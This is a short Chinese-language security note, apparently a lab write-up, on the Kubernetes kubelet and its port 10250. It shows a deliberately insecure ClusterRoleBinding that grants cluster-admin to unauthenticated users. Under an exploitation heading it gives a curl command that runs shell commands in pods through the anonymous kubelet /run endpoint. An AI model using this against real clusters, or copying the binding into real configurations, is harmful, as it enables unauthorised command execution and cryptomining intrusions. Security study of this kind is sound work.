作者 | 修订时间 |
---|---|
2023-07-14 00:03:04 |
kubelet
kubelet
会在集群中每个节点(node)上运行。 它保证容器(containers)都运行在 Pod 中。
kubelet 接收一组通过各类机制提供给它的 PodSpecs, 确保这些 PodSpecs 中描述的容器处于运行状态且健康。 kubelet 不会管理不是由 Kubernetes 创建的容器.
systemctl status kubelet
每一个Node节点都有一个kubelet服务,kubelet监听了10250,10248,10255等端口。
其中10250端口是kubelet与apiserver进行通信的主要端口,通过该端口kubelet可以知道自己当前应该处理的任务,该端口在最新版Kubernetes是有鉴权的,但在开启了接受匿名请求的情况下,不带鉴权信息的请求也可以使用10250提供的能力;因为Kubernetes流行早期,很多挖矿木马基于该端口进行传播和利用,所以该组件在安全领域部分群体内部的知名度反而会高于 APIServer。
如果用户开启了匿名访问kubelet那么,攻击者可任意在pods 执行命令。但仅仅开启 anonymous: true 远远不够,往往还要同时配置apiserver的身份,才能利用。
[root@k8s-master01 k8s.yaml]# cat rbac.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-access
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: Group
name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml
利用
查看可以用pods
# 执行命令
curl -k "https://192.168.3.105:10250/run/<namespace>/<pod-name>/<container-name>" -d 'cmd=ls'